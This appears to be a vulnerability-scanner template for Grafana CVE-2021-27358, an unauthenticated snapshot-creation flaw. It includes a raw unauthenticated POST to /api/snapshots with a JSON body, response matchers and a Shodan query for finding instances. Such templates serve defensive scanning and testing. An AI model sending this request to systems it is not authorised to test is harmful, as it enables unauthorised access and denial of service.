53 lines
1.8 KiB
YAML
53 lines
1.8 KiB
YAML
id: CVE-2021-27358
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info:
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name: Grafana Unauthenticated Snapshot Creation
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author: pdteam,bing0o
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severity: high
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description: Grafana 6.7.3 through 7.4.1 snapshot functionality can allow an unauthenticated remote attacker to trigger a Denial of Service via a remote API call if a commonly used configuration is set.
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remediation: |
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Upgrade to the latest version of Grafana that includes a fix for CVE-2021-27358 or apply the provided patch to mitigate the vulnerability.
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reference:
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- https://phabricator.wikimedia.org/T274736
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- https://grafana.com/docs/grafana/latest/release-notes/release-notes-7-4-2/
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- https://nvd.nist.gov/vuln/detail/CVE-2021-27358
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- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
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- https://github.com/grafana/grafana/blob/master/CHANGELOG.md#742-2021-02-17
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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cvss-score: 7.5
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cve-id: CVE-2021-27358
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cwe-id: CWE-306
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epss-score: 0.02163
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epss-percentile: 0.88076
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cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: grafana
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product: grafana
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shodan-query: title:"Grafana"
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tags: cve,cve2021,grafana,unauth
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http:
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- raw:
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- |
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POST /api/snapshots HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/json
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{"dashboard": {"editable":false,"hideControls":true,"nav":[{"enable":false,"type":"timepicker"}],"rows": [{}],"style":"dark","tags":[],"templating":{"list":[]},"time":{},"timezone":"browser","title":"Home","version":5},"expires": 3600}
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '"deleteUrl":'
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- '"deleteKey":'
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condition: and
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- type: word
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part: header
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words:
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- "application/json"
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